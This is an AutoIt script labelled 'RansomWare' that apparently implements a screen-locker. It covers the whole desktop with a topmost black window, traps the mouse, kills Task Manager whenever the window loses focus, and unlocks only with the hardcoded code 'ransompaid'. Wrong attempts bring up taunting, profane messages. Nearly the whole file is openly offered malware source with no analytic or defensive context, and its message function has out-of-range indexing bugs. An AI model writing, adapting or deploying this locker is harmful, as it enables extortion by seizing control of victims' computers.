RansomWare

#NoTrayIcon
#include <WindowsConstants.au3>
#include <EditConstants.au3>
#include <ScrollBarConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <GUIConstantsEx.au3>
#include <ProgressConstants.au3>
#include <GuiEdit.au3>
#include <Misc.au3>
$code = 'ransompaid'

$plate = StringReplace($code, "*", @CRLF)
$password = $plate
$locked = GUICreate("Desktop Locker", @DesktopWidth, @DesktopHeight, 0, 0, $WS_POPUP, $WS_EX_TOPMOST)
GUISetBkColor(0x000000, $locked)

$progress1 = GUICtrlCreateProgress((@DesktopWidth - 400) / 2, @DesktopHeight / 2 + 20, 400, 10)
GUICtrlSetBkColor(-1, $GUI_BKCOLOR_TRANSPARENT)
GUICtrlCreatePic("lock.jpg", 430, 130, 164, 144)
GUICtrlSetBkColor(-1, $GUI_BKCOLOR_TRANSPARENT)
$wrongpw = GUICtrlCreateEdit("", 10, 14, 300, @DesktopHeight - 14, BitOR($ES_AUTOVSCROLL, $ES_READONLY), 0)
$inputpw = GUICtrlCreateInput("", @DesktopWidth / 2 - 100, @DesktopHeight / 2 - 10, 200, 20, BitOR($ES_CENTER, $ES_PASSWORD), 0)

GUICtrlCreateLabel("Desktop Locker", @DesktopWidth / 2 - 125, @DesktopHeight / 2 - 95, 260, 50, $ES_CENTER, 0)
GUICtrlSetFont(-1, 30, 800, 0, "MS Sans Serif")
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlSetBkColor(-1, 0x000000)

GUICtrlCreateLabel("Input Code to Unlock", @DesktopWidth / 2 - 185, @DesktopHeight / 2 - 50, 400, 20, $ES_CENTER, 0)
GUICtrlSetFont(-1, 12, 800, 0, "MS Sans Serif")
GUICtrlSetColor(-1, 0xFFFFFF)
GUICtrlSetBkColor(-1, 0x000000)

GUICtrlSetFont($wrongpw, 12, 800, 0, "MS Sans Serif")
GUICtrlSetColor($wrongpw, 0xFFFFFF)
GUICtrlSetBkColor($wrongpw, 0x000000)
GUICtrlSetFont($inputpw, 12, 800, 0, "MS Sans Serif")
GUICtrlSetColor($inputpw, 0xFFFFFF)
GUICtrlSetBkColor($inputpw, 0x000000)

WinSetState("[CLASS:Shell_TrayWnd]", "", @SW_SHOW)
GUISetState(@SW_SHOW, $locked)
_MouseTrap(@DesktopWidth, @DesktopHeight)

While 1
    If _IsPressed("0D") Then
        If GUICtrlRead($inputpw) == '' Then
            ToolTip("Forgot your password. Please enter the correct", 509, 375, "", 1, 3)
            ToolTip("")
        ElseIf GUICtrlRead($inputpw) == $password Then
            For $i = 0 To 100 Step 10
                GUICtrlSetData($progress1, $i)
                Sleep(50)
            Next
            GUISetState(@SW_HIDE, $locked)
            WinSetState("[CLASS:Shell_TrayWnd]", "", @SW_SHOW)
            _MouseTrap()
            ExitLoop
        Else
            GUICtrlSetData($wrongpw, _RandomMsg() & @CRLF & GUICtrlRead($wrongpw))
            ToolTip("The password is incorrect, Try again.", 509, 375, "", 3, 3)
            Sleep(2000)
            ToolTip("")
            GUICtrlSetData($inputpw, "")
        EndIf
    EndIf
    If Not WinActivate("Desktop Locker") Then
        If ProcessExists('taskmgr.exe') Then ProcessClose('taskmgr.exe')
        WinActivate("Desktop Locker")
        _MouseTrap(@DesktopWidth, @DesktopHeight)
        GUICtrlCreateLabel("MESS WITH THE BEST DIE LIKE THE REST!", Random(@DesktopWidth - 540), Random(@DesktopHeight - 30), 540, 30)
        GUICtrlSetFont(-1, 20, 800, 0, "MS Sans Serif")
        GUICtrlSetColor(-1, 0xFF0000)
        GUICtrlSetBkColor(-1, 0x000000)
    EndIf
WEnd

Func _RandomMsg()
    Local $RandomMsg[9]
    $RandomMsg[0] = "Wrong Password!"
    $RandomMsg[1] = "Step away from the computer!"
    $RandomMsg[2] = "You are not my owner!!"
    $RandomMsg[3] = "Give up!!"
    $RandomMsg[5] = "Don't Touch Me Mothefucker!!"
    $RandomMsg[6] = "Try AGain!"
    $RandomMsg[7] = "Stop Pushing my buttons!"
    $RandomMsg[8] = "Ctrl + Alt + DipShit"
    Return $RandomMsg[Random(10)]
EndFunc   ;==>_RandomMsg